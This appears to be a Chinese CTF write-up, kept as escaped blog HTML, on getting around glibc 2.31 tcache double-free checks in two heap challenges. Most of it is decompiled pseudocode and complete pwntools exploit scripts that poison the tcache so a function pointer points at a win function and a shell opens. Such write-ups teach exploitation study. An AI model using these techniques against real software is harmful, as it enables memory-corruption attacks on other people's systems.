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0x2 glibc2.31\u5bf9Double Free\u7684\u4fdd\u62a4\u673a\u5236<\/h3>\n\n\n\n
0x3 \u4f8b\u9898_1<\/h3>\n\n\n\n
0x1 \u4fdd\u62a4<\/h4>\n\n\n\n
Arch: amd64-64-little \n RELRO: Partial RELRO \n Stack: No canary found \n NX: NX enabled \n PIE: No PIE (0x3fe000) \n RUNPATH: b'.' \n Stripped: No<\/code><\/pre>\n\n\n\n 0x2 \u4f2a\u7801<\/h4>\n\n\n\n
int __fastcall main(int argc, const char **argv, const char **envp)\n{\n init(argc, argv, envp);\n while ( 1 )\n {\n menu();\n switch ( (unsigned int)read_ll() )\n {\n case 1u:\n add();\n break;\n case 2u:\n delete_chunk();\n break;\n case 3u:\n edit();\n break;\n case 4u:\n set_key();\n break;\n case 5u:\n trigger();\n break;\n case 6u:\n puts(\"bye\");\n return 0;\n default:\n puts(\"invalid\");\n break;\n }\n }\n}<\/code><\/pre>\n\n\n\nint add()\n{\n unsigned int num; \/\/ [rsp+Ch] [rbp-4h]\n\n printf(\"idx: \");\n num = read_ll();\n if ( num >= 8 )\n return puts(\"invalid\");\n if ( alive[num] )\n return puts(\"occupied\");\n chunks[num] = malloc(0x30uLL);\n if ( !chunks[num] )\n exit(0);\n alive[num] = 1;\n printf(\"content: \");\n read_n(chunks[num], 48LL);\n return puts(\"done\");\n}<\/code><\/pre>\n\n\n\nint delete_chunk()\n{\n unsigned int num; \/\/ [rsp+Ch] [rbp-4h]\n\n printf(\"idx: \");\n num = read_ll();\n if ( num >= 8 || !chunks[num] )\n return puts(\"invalid\");\n free((void *)chunks[num]);\n alive[num] = 0;\n return puts(\"done\");\n}<\/code><\/pre>\n\n\n\nint edit()\n{\n unsigned int num; \/\/ [rsp+Ch] [rbp-4h]\n\n printf(\"idx: \");\n num = read_ll();\n if ( num >= 8 || !alive[num] )\n return puts(\"invalid\");\n printf(\"content: \");\n read_n(chunks[num], 48LL);\n return puts(\"done\");\n}<\/code><\/pre>\n\n\n\nint set_key()\n{\n unsigned int num; \/\/ [rsp+Ch] [rbp-4h]\n\n printf(\"idx: \");\n num = read_ll();\n if ( num >= 8 || !chunks[num] )\n return puts(\"invalid\");\n printf(\"value: \");\n *(_QWORD *)(chunks[num] + 8LL) = read_ull();\n return puts(\"done\");\n}<\/code><\/pre>\n\n\n\nint trigger()\n{\n if ( control )\n return control();\n else\n return puts(\"nothing\");\n}<\/code><\/pre>\n\n\n\n 0x3 \u6f0f\u6d1e\u5206\u6790<\/h4>\n\n\n\n
0x4 exp<\/h4>\n\n\n\n
from pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) \n\nio = process('.\/pwn_patched') \n#io = remote() \n\nwin = 0x401296 \ncontrol = 0x4040e0 \n\ndef memu(idx): \n io.recvuntil('quit\\n> ') \n io.sendline(idx) \n\ndef add(idx, content): \n memu(str(1)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('content: ') \n io.send(content) \n\ndef delete(idx): \n memu(str(2)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n\ndef edit(idx, content): \n memu(str(3)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('content: ') \n io.send(content) \n\ndef key(idx, value): \n memu(str(4)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('value: ') \n io.sendline(value) \n\ndef trigger(): \n memu(str(5)) \n\nadd(str(0), 'A'*0x30) \ndelete(str(0)) \nkey(str(0), b'0') \ndelete(str(0)) \nkey(str(0), b'0') \ndelete(str(0)) \n\nadd(str(1), p64(control)+b'A'*40) \nadd(str(2), b'\\0'*0x30) \nadd(str(3), p64(win)+b'\\0'*40) \n\ngdb.attach(io) \ntrigger() \n\nio.interactive()<\/code><\/pre>\n\n\n\n 0x5 \u9519\u8bef\u601d\u8def<\/h4>\n\n\n\n
from pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) \n\nio = process('.\/pwn_patched') \n#io = remote() \n\nwin = 0x401296 \ncontrol = 0x4040e0 \n\ndef memu(idx): \n io.recvuntil('quit\\n> ') \n io.sendline(idx) \n\ndef add(idx, content): \n memu(str(1)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('content: ') \n io.send(content) \n\ndef delete(idx): \n memu(str(2)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n\ndef edit(idx, content): \n memu(str(3)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('content: ') \n io.send(content) \n\ndef key(idx, value): \n memu(str(4)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('value: ') \n io.sendline(value) \n\ndef trigger(): \n memu(str(5)) \n\nadd(str(0), 'A'*0x30) \ndelete(str(0)) \nkey(str(0), b'0') \ndelete(str(0)) \n\nadd(str(1), 'B'*0x30) \n\npayload1 = p64(control) \npayload1 += b'C'*40 \nedit(str(1), payload1) \n\nadd(str(2), 'D'*0x30) \nadd(str(3), '\\0'*0x30) \n\npayload2 = p64(win) \npayload2 += b'\\0'*40 \nedit(str(3), payload2) \nprint('*****edit_has_done*****') \n\ngdb.attach(io) \ntrigger() \nprint('*****trigger_has_done*****') \n\nio.interactive()<\/code><\/pre>\n\n\n\n 0x4 \u4f8b\u9898_2<\/h3>\n\n\n\n
0x1 \u4fdd\u62a4<\/h4>\n\n\n\n
0x2 \u4f2a\u7801<\/h4>\n\n\n\n
int add()\n{\n unsigned __int64 size; \/\/ [rsp+0h] [rbp-10h]\n unsigned int num; \/\/ [rsp+Ch] [rbp-4h]\n\n printf(\"idx: \");\n num = read_stoi();\n if ( num >= 8 )\n return puts(\"invalid\");\n if ( alive[num] )\n return puts(\"occupied\");\n printf(\"size: \");\n size = read_stoi_0();\n if ( size <= 0x17 || size > 0x40 )\n return puts(\"invalid\");\n chunks[num] = malloc(size);\n if ( !chunks[num] )\n exit(0);\n reqs[num] = size;\n alive[num] = 1;\n printf(\"content: \");\n read_n(chunks[num], size);\n return puts(\"done\");\n}<\/code><\/pre>\n\n\n\nint set_size()\n{\n unsigned __int64 value; \/\/ [rsp+0h] [rbp-10h]\n unsigned int num; \/\/ [rsp+Ch] [rbp-4h]\n\n printf(\"idx: \");\n num = read_stoi();\n if ( num >= 8 )\n return puts(\"invalid\");\n if ( !chunks[num] )\n return puts(\"invalid\");\n printf(\"value: \");\n value = read_stoi_0();\n if ( (value & 0xF) != 1 || value <= 0x20 || value > 0x61 )\n return puts(\"invalid\");\n *(_QWORD *)(chunks[num] - 8LL) = value;\n return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n 0x3 \u89e3\u6cd5<\/h4>\n\n\n\n
0x4 exp<\/h4>\n\n\n\n
from pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) \n\nio = process('.\/pwn1_patched') \n#io = remote() \n\ncontrol = 0x4040e0 \nwin = 0x401296 \n\ndef menu(idx): \n io.recvuntil(\"quit\\n> \") \n io.sendline(idx) \n\ndef add(idx, size, content): \n menu(str(1)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('size: ') \n io.sendline(size) \n io.recvuntil('content: ') \n io.send(content) \n\ndef delete(idx): \n menu(str(2)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n\ndef edit(idx, content): \n menu(str(3)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('content: ') \n io.send(content) \n\ndef set_size(idx, value): \n menu(str(4)) \n io.recvuntil('idx: ') \n io.sendline(idx) \n io.recvuntil('value: ') \n io.sendline(value) \n\ndef trigger(): \n menu(str(5)) \n\n''' \nthinking...... \nA = malloc(0x30) \nB = malloc(0x30) \nfree(A) | A --> tcache[0x40] \nfree(B) | B --> tcache[0x40] \n| tcache[0x40]: head -> B -> A \nset_size(B, 0x31) \nfree(B) | B --> tcache[0x30] \nC = malloc(0x20) \nC.next = &control | B.next = &control \nD = malloc(0x30) | tcache[0x40]: head -> &control \nE = malloc(0x30) | E = &control \nedit(E, &win) \n\u6ce8\uff1a\"|\"\u524d\u4e3a\u64cd\u4f5c\uff0c\u540e\u4e3a\u6548\u679c\u3002\n''' \n\n#gdb.attach(io) \nadd(str(0), str(0x30), 'A'*0x30) \nadd(str(1), str(0x30), 'B'*0x30) \ndelete(str(0)) \ndelete(str(1)) \n#\u5148\u653e\u4e24\u4e2a0x40\u7684chunk\u5230tcache[0x40]\n#chunk[0]\u662f\u4e3a\u4e86\u4fdd\u8bc1\u8be5bin\u7684count>0,\u5426\u5219\u6700\u540e\u4e00\u6b65\u62ffcontrol\u5730\u5740\u65f6\u4f1a\u56e0\u4e3acount=0\u800c\u65e0\u6cd5\u4ece\u8be5bin\u4e2d\u62ff\u5230\u5730\u5740\u3002\n#chunk[1]\u5c06\u88ab\u7528\u4e8e\u5199\u5165control\u5730\u5740\uff0cmalloc\u65f6\u8ba9head\u6307\u5411control\n\nset_size(str(1), str(0x31)) \ndelete(str(1)) \n#\u5c06chunk[1]\u7684size\u5199\u62100x31,free\u65f6glibc\u5c31\u4f1a\u53bbtcache[0x30]\u68c0\u67e5\uff0c\u4ece\u800c\u6210\u529fDouble Free\n\nadd(str(2), str(0x20), p64(control)+b'\\0'*0x18) \n#\u62ff\u51fatcache[0x30]\u4e2d\u7684chunk\u5e76\u5411\u5176\u5199\u5165&control,tcache[0x40]\u4e2d\u7684chunk[1]\u7684next\u4e5f\u5c31\u53d8\u6210\u4e86&control\n\nadd(str(3), str(0x30), 'D'*0x30) \nadd(str(4), str(0x30), 'E'*0x30) \nedit(str(4), p64(win)+b'\\0'*0x28) \n#\u4e4b\u540e\u5c31\u662f\u8ddf\u4e0a\u4e00\u9898\u4e00\u6837\uff0c\u8fd4\u56de&control,\u5199\u6210win,\u8c03\u7528trigger\u62ffshell\n\ntrigger() \n\nio.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"